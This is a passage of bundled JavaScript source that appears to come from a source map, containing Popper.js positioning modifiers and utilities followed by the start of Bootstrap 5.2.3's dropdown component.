state.attributes.popper, {\n 'data-popper-reference-hidden': isReferenceHidden,\n 'data-popper-escaped': hasPopperEscaped\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'hide',\n enabled: true,\n phase: 'main',\n requiresIfExists: ['preventOverflow'],\n fn: hide\n};","import getBasePlacement from \"../utils/getBasePlacement.js\";\nimport { top, left, right, placements } from \"../enums.js\"; // eslint-disable-next-line import/no-unused-modules\n\nexport function distanceAndSkiddingToXY(placement, rects, offset) {\n var basePlacement = getBasePlacement(placement);\n var invertDistance = [left, top].indexOf(basePlacement) >= 0 ? -1 : 1;\n\n var _ref = typeof offset === 'function' ? offset(Object.assign({}, rects, {\n placement: placement\n })) : offset,\n skidding = _ref[0],\n distance = _ref[1];\n\n skidding = skidding || 0;\n distance = (distance || 0) * invertDistance;\n return [left, right].indexOf(basePlacement) >= 0 ? {\n x: distance,\n y: skidding\n } : {\n x: skidding,\n y: distance\n };\n}\n\nfunction offset(_ref2) {\n var state = _ref2.state,\n options = _ref2.options,\n name = _ref2.name;\n var _options$offset = options.offset,\n offset = _options$offset === void 0 ? [0, 0] : _options$offset;\n var data = placements.reduce(function (acc, placement) {\n acc[placement] = distanceAndSkiddingToXY(placement, state.rects, offset);\n return acc;\n }, {});\n var _data$state$placement = data[state.placement],\n x = _data$state$placement.x,\n y = _data$state$placement.y;\n\n if (state.modifiersData.popperOffsets != null) {\n state.modifiersData.popperOffsets.x += x;\n state.modifiersData.popperOffsets.y += y;\n }\n\n state.modifiersData[name] = data;\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'offset',\n enabled: true,\n phase: 'main',\n requires: ['popperOffsets'],\n fn: offset\n};","import computeOffsets from \"../utils/computeOffsets.js\";\n\nfunction popperOffsets(_ref) {\n var state = _ref.state,\n name = _ref.name;\n // Offsets are the actual position the popper needs to have to be\n // properly positioned near its reference element\n // This is the most basic placement, and will be adjusted by\n // the modifiers in the next step\n state.modifiersData[name] = computeOffsets({\n reference: state.rects.reference,\n element: state.rects.popper,\n strategy: 'absolute',\n placement: state.placement\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'popperOffsets',\n enabled: true,\n phase: 'read',\n fn: popperOffsets,\n data: {}\n};","import { top, left, right, bottom, start } from \"../enums.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getMainAxisFromPlacement from \"../utils/getMainAxisFromPlacement.js\";\nimport getAltAxis from \"../utils/getAltAxis.js\";\nimport { within, withinMaxClamp } from \"../utils/within.js\";\nimport getLayoutRect from \"../dom-utils/getLayoutRect.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport detectOverflow from \"../utils/detectOverflow.js\";\nimport getVariation from \"../utils/getVariation.js\";\nimport getFreshSideObject from \"../utils/getFreshSideObject.js\";\nimport { min as mathMin, max as mathMax } from \"../utils/math.js\";\n\nfunction preventOverflow(_ref) {\n var state = _ref.state,\n options = _ref.options,\n name = _ref.name;\n var _options$mainAxis = options.mainAxis,\n checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,\n _options$altAxis = options.altAxis,\n checkAltAxis = _options$altAxis === void 0 ? false : _options$altAxis,\n boundary = options.boundary,\n rootBoundary = options.rootBoundary,\n altBoundary = options.altBoundary,\n padding = options.padding,\n _options$tether = options.tether,\n tether = _options$tether === void 0 ? true : _options$tether,\n _options$tetherOffset = options.tetherOffset,\n tetherOffset = _options$tetherOffset === void 0 ? 0 : _options$tetherOffset;\n var overflow = detectOverflow(state, {\n boundary: boundary,\n rootBoundary: rootBoundary,\n padding: padding,\n altBoundary: altBoundary\n });\n var basePlacement = getBasePlacement(state.placement);\n var variation = getVariation(state.placement);\n var isBasePlacement = !variation;\n var mainAxis = getMainAxisFromPlacement(basePlacement);\n var altAxis = getAltAxis(mainAxis);\n var popperOffsets = state.modifiersData.popperOffsets;\n var referenceRect = state.rects.reference;\n var popperRect = state.rects.popper;\n var tetherOffsetValue = typeof tetherOffset === 'function' ? tetherOffset(Object.assign({}, state.rects, {\n placement: state.placement\n })) : tetherOffset;\n var normalizedTetherOffsetValue = typeof tetherOffsetValue === 'number' ? {\n mainAxis: tetherOffsetValue,\n altAxis: tetherOffsetValue\n } : Object.assign({\n mainAxis: 0,\n altAxis: 0\n }, tetherOffsetValue);\n var offsetModifierState = state.modifiersData.offset ? state.modifiersData.offset[state.placement] : null;\n var data = {\n x: 0,\n y: 0\n };\n\n if (!popperOffsets) {\n return;\n }\n\n if (checkMainAxis) {\n var _offsetModifierState$;\n\n var mainSide = mainAxis === 'y' ? top : left;\n var altSide = mainAxis === 'y' ? bottom : right;\n var len = mainAxis === 'y' ? 'height' : 'width';\n var offset = popperOffsets[mainAxis];\n var min = offset + overflow[mainSide];\n var max = offset - overflow[altSide];\n var additive = tether ? -popperRect[len] / 2 : 0;\n var minLen = variation === start ? referenceRect[len] : popperRect[len];\n var maxLen = variation === start ? -popperRect[len] : -referenceRect[len]; // We need to include the arrow in the calculation so the arrow doesn't go\n // outside the reference bounds\n\n var arrowElement = state.elements.arrow;\n var arrowRect = tether && arrowElement ? getLayoutRect(arrowElement) : {\n width: 0,\n height: 0\n };\n var arrowPaddingObject = state.modifiersData['arrow#persistent'] ? state.modifiersData['arrow#persistent'].padding : getFreshSideObject();\n var arrowPaddingMin = arrowPaddingObject[mainSide];\n var arrowPaddingMax = arrowPaddingObject[altSide]; // If the reference length is smaller than the arrow length, we don't want\n // to include its full size in the calculation. If the reference is small\n // and near the edge of a boundary, the popper can overflow even if the\n // reference is not overflowing as well (e.g. virtual elements with no\n // width or height)\n\n var arrowLen = within(0, referenceRect[len], arrowRect[len]);\n var minOffset = isBasePlacement ? referenceRect[len] / 2 - additive - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis : minLen - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis;\n var maxOffset = isBasePlacement ? -referenceRect[len] / 2 + additive + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis : maxLen + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis;\n var arrowOffsetParent = state.elements.arrow && getOffsetParent(state.elements.arrow);\n var clientOffset = arrowOffsetParent ? mainAxis === 'y' ? arrowOffsetParent.clientTop || 0 : arrowOffsetParent.clientLeft || 0 : 0;\n var offsetModifierValue = (_offsetModifierState$ = offsetModifierState == null ? void 0 : offsetModifierState[mainAxis]) != null ? _offsetModifierState$ : 0;\n var tetherMin = offset + minOffset - offsetModifierValue - clientOffset;\n var tetherMax = offset + maxOffset - offsetModifierValue;\n var preventedOffset = within(tether ? mathMin(min, tetherMin) : min, offset, tether ? mathMax(max, tetherMax) : max);\n popperOffsets[mainAxis] = preventedOffset;\n data[mainAxis] = preventedOffset - offset;\n }\n\n if (checkAltAxis) {\n var _offsetModifierState$2;\n\n var _mainSide = mainAxis === 'x' ? top : left;\n\n var _altSide = mainAxis === 'x' ? bottom : right;\n\n var _offset = popperOffsets[altAxis];\n\n var _len = altAxis === 'y' ? 'height' : 'width';\n\n var _min = _offset + overflow[_mainSide];\n\n var _max = _offset - overflow[_altSide];\n\n var isOriginSide = [top, left].indexOf(basePlacement) !== -1;\n\n var _offsetModifierValue = (_offsetModifierState$2 = offsetModifierState == null ? void 0 : offsetModifierState[altAxis]) != null ? _offsetModifierState$2 : 0;\n\n var _tetherMin = isOriginSide ? _min : _offset - referenceRect[_len] - popperRect[_len] - _offsetModifierValue + normalizedTetherOffsetValue.altAxis;\n\n var _tetherMax = isOriginSide ? _offset + referenceRect[_len] + popperRect[_len] - _offsetModifierValue - normalizedTetherOffsetValue.altAxis : _max;\n\n var _preventedOffset = tether && isOriginSide ? withinMaxClamp(_tetherMin, _offset, _tetherMax) : within(tether ? _tetherMin : _min, _offset, tether ? _tetherMax : _max);\n\n popperOffsets[altAxis] = _preventedOffset;\n data[altAxis] = _preventedOffset - _offset;\n }\n\n state.modifiersData[name] = data;\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'preventOverflow',\n enabled: true,\n phase: 'main',\n fn: preventOverflow,\n requiresIfExists: ['offset']\n};","export default function getAltAxis(axis) {\n return axis === 'x' ? 'y' : 'x';\n}","import getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getNodeScroll from \"./getNodeScroll.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport isScrollParent from \"./isScrollParent.js\";\nimport { round } from \"../utils/math.js\";\n\nfunction isElementScaled(element) {\n var rect = element.getBoundingClientRect();\n var scaleX = round(rect.width) / element.offsetWidth || 1;\n var scaleY = round(rect.height) / element.offsetHeight || 1;\n return scaleX !== 1 || scaleY !== 1;\n} // Returns the composite rect of an element relative to its offsetParent.\n// Composite means it takes into account transforms as well as layout.\n\n\nexport default function getCompositeRect(elementOrVirtualElement, offsetParent, isFixed) {\n if (isFixed === void 0) {\n isFixed = false;\n }\n\n var isOffsetParentAnElement = isHTMLElement(offsetParent);\n var offsetParentIsScaled = isHTMLElement(offsetParent) && isElementScaled(offsetParent);\n var documentElement = getDocumentElement(offsetParent);\n var rect = getBoundingClientRect(elementOrVirtualElement, offsetParentIsScaled, isFixed);\n var scroll = {\n scrollLeft: 0,\n scrollTop: 0\n };\n var offsets = {\n x: 0,\n y: 0\n };\n\n if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {\n if (getNodeName(offsetParent) !== 'body' || // https://github.com/popperjs/popper-core/issues/1078\n isScrollParent(documentElement)) {\n scroll = getNodeScroll(offsetParent);\n }\n\n if (isHTMLElement(offsetParent)) {\n offsets = getBoundingClientRect(offsetParent, true);\n offsets.x += offsetParent.clientLeft;\n offsets.y += offsetParent.clientTop;\n } else if (documentElement) {\n offsets.x = getWindowScrollBarX(documentElement);\n }\n }\n\n return {\n x: rect.left + scroll.scrollLeft - offsets.x,\n y: rect.top + scroll.scrollTop - offsets.y,\n width: rect.width,\n height: rect.height\n };\n}","import getWindowScroll from \"./getWindowScroll.js\";\nimport getWindow from \"./getWindow.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nimport getHTMLElementScroll from \"./getHTMLElementScroll.js\";\nexport default function getNodeScroll(node) {\n if (node === getWindow(node) || !isHTMLElement(node)) {\n return getWindowScroll(node);\n } else {\n return getHTMLElementScroll(node);\n }\n}","export default function getHTMLElementScroll(element) {\n return {\n scrollLeft: element.scrollLeft,\n scrollTop: element.scrollTop\n };\n}","import { modifierPhases } from \"../enums.js\"; // source: https://stackoverflow.com/questions/49875255\n\nfunction order(modifiers) {\n var map = new Map();\n var visited = new Set();\n var result = [];\n modifiers.forEach(function (modifier) {\n map.set(modifier.name, modifier);\n }); // On visiting object, check for its dependencies and visit them recursively\n\n function sort(modifier) {\n visited.add(modifier.name);\n var requires = [].concat(modifier.requires || [], modifier.requiresIfExists || []);\n requires.forEach(function (dep) {\n if (!visited.has(dep)) {\n var depModifier = map.get(dep);\n\n if (depModifier) {\n sort(depModifier);\n }\n }\n });\n result.push(modifier);\n }\n\n modifiers.forEach(function (modifier) {\n if (!visited.has(modifier.name)) {\n // check for visited object\n sort(modifier);\n }\n });\n return result;\n}\n\nexport default function orderModifiers(modifiers) {\n // order based on dependencies\n var orderedModifiers = order(modifiers); // order based on phase\n\n return modifierPhases.reduce(function (acc, phase) {\n return acc.concat(orderedModifiers.filter(function (modifier) {\n return modifier.phase === phase;\n }));\n }, []);\n}","import getCompositeRect from \"./dom-utils/getCompositeRect.js\";\nimport getLayoutRect from \"./dom-utils/getLayoutRect.js\";\nimport listScrollParents from \"./dom-utils/listScrollParents.js\";\nimport getOffsetParent from \"./dom-utils/getOffsetParent.js\";\nimport getComputedStyle from \"./dom-utils/getComputedStyle.js\";\nimport orderModifiers from \"./utils/orderModifiers.js\";\nimport debounce from \"./utils/debounce.js\";\nimport validateModifiers from \"./utils/validateModifiers.js\";\nimport uniqueBy from \"./utils/uniqueBy.js\";\nimport getBasePlacement from \"./utils/getBasePlacement.js\";\nimport mergeByName from \"./utils/mergeByName.js\";\nimport detectOverflow from \"./utils/detectOverflow.js\";\nimport { isElement } from \"./dom-utils/instanceOf.js\";\nimport { auto } from \"./enums.js\";\nvar INVALID_ELEMENT_ERROR = 'Popper: Invalid reference or popper argument provided. They must be either a DOM element or virtual element.';\nvar INFINITE_LOOP_ERROR = 'Popper: An infinite loop in the modifiers cycle has been detected! The cycle has been interrupted to prevent a browser crash.';\nvar DEFAULT_OPTIONS = {\n placement: 'bottom',\n modifiers: [],\n strategy: 'absolute'\n};\n\nfunction areValidElements() {\n for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {\n args[_key] = arguments[_key];\n }\n\n return !args.some(function (element) {\n return !(element && typeof element.getBoundingClientRect === 'function');\n });\n}\n\nexport function popperGenerator(generatorOptions) {\n if (generatorOptions === void 0) {\n generatorOptions = {};\n }\n\n var _generatorOptions = generatorOptions,\n _generatorOptions$def = _generatorOptions.defaultModifiers,\n defaultModifiers = _generatorOptions$def === void 0 ? [] : _generatorOptions$def,\n _generatorOptions$def2 = _generatorOptions.defaultOptions,\n defaultOptions = _generatorOptions$def2 === void 0 ? DEFAULT_OPTIONS : _generatorOptions$def2;\n return function createPopper(reference, popper, options) {\n if (options === void 0) {\n options = defaultOptions;\n }\n\n var state = {\n placement: 'bottom',\n orderedModifiers: [],\n options: Object.assign({}, DEFAULT_OPTIONS, defaultOptions),\n modifiersData: {},\n elements: {\n reference: reference,\n popper: popper\n },\n attributes: {},\n styles: {}\n };\n var effectCleanupFns = [];\n var isDestroyed = false;\n var instance = {\n state: state,\n setOptions: function setOptions(setOptionsAction) {\n var options = typeof setOptionsAction === 'function' ? setOptionsAction(state.options) : setOptionsAction;\n cleanupModifierEffects();\n state.options = Object.assign({}, defaultOptions, state.options, options);\n state.scrollParents = {\n reference: isElement(reference) ? listScrollParents(reference) : reference.contextElement ? listScrollParents(reference.contextElement) : [],\n popper: listScrollParents(popper)\n }; // Orders the modifiers based on their dependencies and `phase`\n // properties\n\n var orderedModifiers = orderModifiers(mergeByName([].concat(defaultModifiers, state.options.modifiers))); // Strip out disabled modifiers\n\n state.orderedModifiers = orderedModifiers.filter(function (m) {\n return m.enabled;\n }); // Validate the provided modifiers so that the consumer will get warned\n // if one of the modifiers is invalid for any reason\n\n if (process.env.NODE_ENV !== \"production\") {\n var modifiers = uniqueBy([].concat(orderedModifiers, state.options.modifiers), function (_ref) {\n var name = _ref.name;\n return name;\n });\n validateModifiers(modifiers);\n\n if (getBasePlacement(state.options.placement) === auto) {\n var flipModifier = state.orderedModifiers.find(function (_ref2) {\n var name = _ref2.name;\n return name === 'flip';\n });\n\n if (!flipModifier) {\n console.error(['Popper: \"auto\" placements require the \"flip\" modifier be', 'present and enabled to work.'].join(' '));\n }\n }\n\n var _getComputedStyle = getComputedStyle(popper),\n marginTop = _getComputedStyle.marginTop,\n marginRight = _getComputedStyle.marginRight,\n marginBottom = _getComputedStyle.marginBottom,\n marginLeft = _getComputedStyle.marginLeft; // We no longer take into account `margins` on the popper, and it can\n // cause bugs with positioning, so we'll warn the consumer\n\n\n if ([marginTop, marginRight, marginBottom, marginLeft].some(function (margin) {\n return parseFloat(margin);\n })) {\n console.warn(['Popper: CSS \"margin\" styles cannot be used to apply padding', 'between the popper and its reference element or boundary.', 'To replicate margin, use the `offset` modifier, as well as', 'the `padding` option in the `preventOverflow` and `flip`', 'modifiers.'].join(' '));\n }\n }\n\n runModifierEffects();\n return instance.update();\n },\n // Sync update – it will always be executed, even if not necessary. This\n // is useful for low frequency updates where sync behavior simplifies the\n // logic.\n // For high frequency updates (e.g. `resize` and `scroll` events), always\n // prefer the async Popper#update method\n forceUpdate: function forceUpdate() {\n if (isDestroyed) {\n return;\n }\n\n var _state$elements = state.elements,\n reference = _state$elements.reference,\n popper = _state$elements.popper; // Don't proceed if `reference` or `popper` are not valid elements\n // anymore\n\n if (!areValidElements(reference, popper)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(INVALID_ELEMENT_ERROR);\n }\n\n return;\n } // Store the reference and popper rects to be read by modifiers\n\n\n state.rects = {\n reference: getCompositeRect(reference, getOffsetParent(popper), state.options.strategy === 'fixed'),\n popper: getLayoutRect(popper)\n }; // Modifiers have the ability to reset the current update cycle. The\n // most common use case for this is the `flip` modifier changing the\n // placement, which then needs to re-run all the modifiers, because the\n // logic was previously ran for the previous placement and is therefore\n // stale/incorrect\n\n state.reset = false;\n state.placement = state.options.placement; // On each update cycle, the `modifiersData` property for each modifier\n // is filled with the initial data specified by the modifier. This means\n // it doesn't persist and is fresh on each update.\n // To ensure persistent data, use `${name}#persistent`\n\n state.orderedModifiers.forEach(function (modifier) {\n return state.modifiersData[modifier.name] = Object.assign({}, modifier.data);\n });\n var __debug_loops__ = 0;\n\n for (var index = 0; index < state.orderedModifiers.length; index++) {\n if (process.env.NODE_ENV !== \"production\") {\n __debug_loops__ += 1;\n\n if (__debug_loops__ > 100) {\n console.error(INFINITE_LOOP_ERROR);\n break;\n }\n }\n\n if (state.reset === true) {\n state.reset = false;\n index = -1;\n continue;\n }\n\n var _state$orderedModifie = state.orderedModifiers[index],\n fn = _state$orderedModifie.fn,\n _state$orderedModifie2 = _state$orderedModifie.options,\n _options = _state$orderedModifie2 === void 0 ? {} : _state$orderedModifie2,\n name = _state$orderedModifie.name;\n\n if (typeof fn === 'function') {\n state = fn({\n state: state,\n options: _options,\n name: name,\n instance: instance\n }) || state;\n }\n }\n },\n // Async and optimistically optimized update – it will not be executed if\n // not necessary (debounced to run at most once-per-tick)\n update: debounce(function () {\n return new Promise(function (resolve) {\n instance.forceUpdate();\n resolve(state);\n });\n }),\n destroy: function destroy() {\n cleanupModifierEffects();\n isDestroyed = true;\n }\n };\n\n if (!areValidElements(reference, popper)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(INVALID_ELEMENT_ERROR);\n }\n\n return instance;\n }\n\n instance.setOptions(options).then(function (state) {\n if (!isDestroyed && options.onFirstUpdate) {\n options.onFirstUpdate(state);\n }\n }); // Modifiers have the ability to execute arbitrary code before the first\n // update cycle runs. They will be executed in the same order as the update\n // cycle. This is useful when a modifier adds some persistent data that\n // other modifiers need to use, but the modifier is run after the dependent\n // one.\n\n function runModifierEffects() {\n state.orderedModifiers.forEach(function (_ref3) {\n var name = _ref3.name,\n _ref3$options = _ref3.options,\n options = _ref3$options === void 0 ? {} : _ref3$options,\n effect = _ref3.effect;\n\n if (typeof effect === 'function') {\n var cleanupFn = effect({\n state: state,\n name: name,\n instance: instance,\n options: options\n });\n\n var noopFn = function noopFn() {};\n\n effectCleanupFns.push(cleanupFn || noopFn);\n }\n });\n }\n\n function cleanupModifierEffects() {\n effectCleanupFns.forEach(function (fn) {\n return fn();\n });\n effectCleanupFns = [];\n }\n\n return instance;\n };\n}\nexport var createPopper = /*#__PURE__*/popperGenerator(); // eslint-disable-next-line import/no-unused-modules\n\nexport { detectOverflow };","export default function debounce(fn) {\n var pending;\n return function () {\n if (!pending) {\n pending = new Promise(function (resolve) {\n Promise.resolve().then(function () {\n pending = undefined;\n resolve(fn());\n });\n });\n }\n\n return pending;\n };\n}","export default function mergeByName(modifiers) {\n var merged = modifiers.reduce(function (merged, current) {\n var existing = merged[current.name];\n merged[current.name] = existing ? Object.assign({}, existing, current, {\n options: Object.assign({}, existing.options, current.options),\n data: Object.assign({}, existing.data, current.data)\n }) : current;\n return merged;\n }, {}); // IE11 does not support Object.values\n\n return Object.keys(merged).map(function (key) {\n return merged[key];\n });\n}","import { popperGenerator, detectOverflow } from \"./createPopper.js\";\nimport eventListeners from \"./modifiers/eventListeners.js\";\nimport popperOffsets from \"./modifiers/popperOffsets.js\";\nimport computeStyles from \"./modifiers/computeStyles.js\";\nimport applyStyles from \"./modifiers/applyStyles.js\";\nvar defaultModifiers = [eventListeners, popperOffsets, computeStyles, applyStyles];\nvar createPopper = /*#__PURE__*/popperGenerator({\n defaultModifiers: defaultModifiers\n}); // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper, popperGenerator, defaultModifiers, detectOverflow };","import { popperGenerator, detectOverflow } from \"./createPopper.js\";\nimport eventListeners from \"./modifiers/eventListeners.js\";\nimport popperOffsets from \"./modifiers/popperOffsets.js\";\nimport computeStyles from \"./modifiers/computeStyles.js\";\nimport applyStyles from \"./modifiers/applyStyles.js\";\nimport offset from \"./modifiers/offset.js\";\nimport flip from \"./modifiers/flip.js\";\nimport preventOverflow from \"./modifiers/preventOverflow.js\";\nimport arrow from \"./modifiers/arrow.js\";\nimport hide from \"./modifiers/hide.js\";\nvar defaultModifiers = [eventListeners, popperOffsets, computeStyles, applyStyles, offset, flip, preventOverflow, arrow, hide];\nvar createPopper = /*#__PURE__*/popperGenerator({\n defaultModifiers: defaultModifiers\n}); // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper, popperGenerator, defaultModifiers, detectOverflow }; // eslint-disable-next-line import/no-unused-modules\n\nexport { createPopper as createPopperLite } from \"./popper-lite.js\"; // eslint-disable-next-line import/no-unused-modules\n\nexport * from \"./modifiers/index.js\";","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.2.3): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport * as Popper from '@popperjs/core'\nimport {\n defineJQueryPlugin,\n getElement,\n getNextActiveElement,\n isDisabled,\n isElement,\n isRTL,\n isVisible,\n noop\n} from './util/index'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * Constants\n */\n\nconst NAME = 'dropdown'\nconst DATA_KEY = 'bs.dropdown'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst ESCAPE_KEY = 'Escape'\nconst TAB_KEY = 'Tab'\nconst ARROW_UP_KEY = 'ArrowUp'\nconst ARROW_DOWN_KEY = 'ArrowDown'\nconst RIGHT_MOUSE_BUTTON = 2 // MouseEvent.button value for the secondary button, usually the right button\n\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYDOWN_DATA_API = `keydown${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_KEYUP_DATA_API = `keyup${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_DROPUP = 'dropup'\nconst CLASS_NAME_DROPEND = 'dropend'\nconst CLASS_NAME_DROPSTART = 'dropstart'\nconst CLASS_NAME_DROPUP_CENTER = 'dropup-center'\nconst CLASS_NAME_DROPDOWN_CENTER = 'dropdown-center'\n\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"dropdown\"]:not(.disabled):not(:disabled)'\nconst SELECTOR_DATA_TOGGLE_SHOWN = `${SELECTOR_DATA_TOGGLE}.${CLASS_NAME_SHOW}`\nconst SELECTOR_MENU = '.dropdown-menu'\nconst SELECTOR_NAVBAR = '.navbar'\nconst SELECTOR_NAVBAR_NAV = '.navbar-nav'\nconst SELECTOR_VISIBLE_ITEMS = '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n\nconst PLACEMENT_TOP = isRTL() ? 'top-end' : 'top-start'\nconst PLACEMENT_TOPEND = isRTL() ? 'top-start' : 'top-end'\nconst PLACEMENT_BOTTOM = isRTL() ? 'bottom-end' : 'bottom-start'\nconst PLACEMENT_BOTTOMEND = isRTL() ? 'bottom-start' : 'bottom-end'\nconst PLACEMENT_RIGHT = isRTL() ? 'left-start' : 'right-start'\nconst PLACEMENT_LEFT = isRTL() ? 'right-start' : 'left-start'\nconst PLACEMENT_TOPCENTER = 'top'\nconst PLACEMENT_BOTTOMCENTER = 'bottom'\n\nconst Default = {\n autoClose: true,\n boundary: 'clippingParents',\n display: 'dynamic',\n offset: [0, 2],\n popperConfig: null,\n reference: 'toggle'\n}\n\nconst DefaultType = {\n autoClose: '(boolean|string)',\n boundary: '(string|element)',\n display: 'string',\n offset: '(array|string|function)',\n popperConfig: '(null|object|function)',\n reference: '(string|element|object)'\n}\n\n/**\n * Class definition\n */\n\nclass Dropdown extends BaseComponent {\n constructor(element, config) {\n super(element, config)\n\n this._popper = null\n this._parent = this._element.parentNode // dropdown wrapper\n // todo: v6 revert #37011 & change markup https://getbootstrap.com/docs/5.2/forms/input-group/\n this._menu = SelectorEngine.next(this._element, SELECTOR_MENU)[0] ||\n SelectorEngine.prev(this._element, SELECTOR_MENU)[0] ||\n SelectorEngine.findOne(SELECTOR_MENU, this._parent)\n this._inNavbar = this._detectNavbar()\n }\n\n // Getters\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n static get NAME() {\n return NAME\n }\n\n // Public\n toggle() {\n return this._isShown() ? this.hide() : this.show()\n }\n\n show() {\n if (isDisabled(this._element) || this._isShown()) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n\n const showEvent = EventHandler.trigger(this._element, EVENT_SHOW, relatedTarget)\n\n if (showEvent.defaultPrevented) {\n return\n }\n\n this._createPopper()\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement && !this._parent.closest(SELECTOR_NAVBAR_NAV)) {\n for (const element of [].concat(...document.body.children)) {\n EventHandler.on(element, 'mouseover', noop)\n }\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n this._menu.classList.add(CLASS_NAME_SHOW)\n this._element.classList.add(CLASS_NAME_SHOW)\n EventHandler.trigger(this._element, EVENT_SHOWN, relatedTarget)\n }\n\n hide() {\n if (isDisabled(this._element) || !this._isShown()) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n\n this._completeHide(relatedTarget)\n }\n\n dispose() {\n if (this._popper) {\n this._popper.destroy()\n }\n\n super.dispose()\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper) {\n this._popper.update()\n }\n }\n\n // Private\n _completeHide(relatedTarget) {\n const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE, relatedTarget)\n if (hideEvent.defaultPrevented) {\n return\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n for (const element of [].concat(...document.body.children)) {\n EventHandler.off(element, 'mouseover', noop)\n }\n }\n\n if (this._popper) {\n this._popper.destroy()\n }\n\n this._menu.classList.remove(CLASS_NAME_SHOW)\n this._element.classList.remove(CLASS_NAME_SHOW)\n this._element.setAttribute('aria-expanded', 'false')\n Manipulator.removeDataAttribute(this._menu, 'popper')\n EventHandler.trigger(this._element, EVENT_HIDDEN, relatedTarget)\n }\n\n _getConfig(config) {\n config = super._getConfig(config)\n\n if (typeof config.reference === 'object' && !isElement(config.reference) &&\n typeof config.reference.getBoundingClientRect !== 'function'\n ) {\n // Popper virtual elements require a getBoundingClientRect method\n throw new TypeError(`${NAME.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`)\n }\n\n return config\n }\n\n _createPopper() {\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap\\'s dropdowns require Popper (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = this._parent\n } else if (isElement(this._config.reference)) {\n referenceElement = getElement(this._config.reference)\n } else if (typeof this._config.reference === 'object') {\n referenceElement = this._config.reference\n }\n\n const popperConfig = this._getPopperConfig()\n this._popper = Popper.createPopper(referenceElement, this._menu, popperConfig)\n }\n\n _isShown() {\n return this._menu.classList.contains(CLASS_NAME_SHOW)\n }\n\n _getPlacement() {\n const parentDropdown = this._parent\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPEND)) {\n return PLACEMENT_RIGHT\n }\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPSTART)) {\n return PLACEMENT_LEFT\n }\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPUP_CENTER)) {\n return PLACEMENT_TOPCENTER\n }\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPDOWN_CENTER)) {\n return PLACEMENT_BOTTOMCENTER\n }\n\n // We need to trim the value because custom properties can also include spaces\n const isEnd = getComputedStyle(this._menu).getPropertyValue('--bs-position').trim() === 'end'\n\n if (parentDropdown.classList.contains(CLASS_NAME_DROPUP)) {\n return isEnd ? PLACEMENT_TOPEND : PLACEMENT_TOP\n }\n\n return isEnd ? PLACEMENT_BOTTOMEND : PLACEMENT_BOTTOM\n }\n\n _detectNavbar() {\n return this._element.closest(SELECTOR_NAVBAR) !== null\n }\n\n _getOffset() {\n const { offset } = this._config\n\n if (typeof offset === 'string') {\n return offset.split(',').map(value => Number.parseInt(value, 10))\n }\n\n if (typeof offset === 'function') {\n return popperData => offset(popperData, this._element)\n }\n\n return offset\n }\n\n _getPopperConfig() {\n const defaultBsPopperConfig = {\n placement: this._getPlacement(),\n modifiers: [{\n name: 'preventOverflow',\n options: {\n boundary: this._config.boundary\n }\n },\n {\n name: 'offset',\n options: {\n offset: this._getOffset()\n }\n }]\n }\n\n // Disable 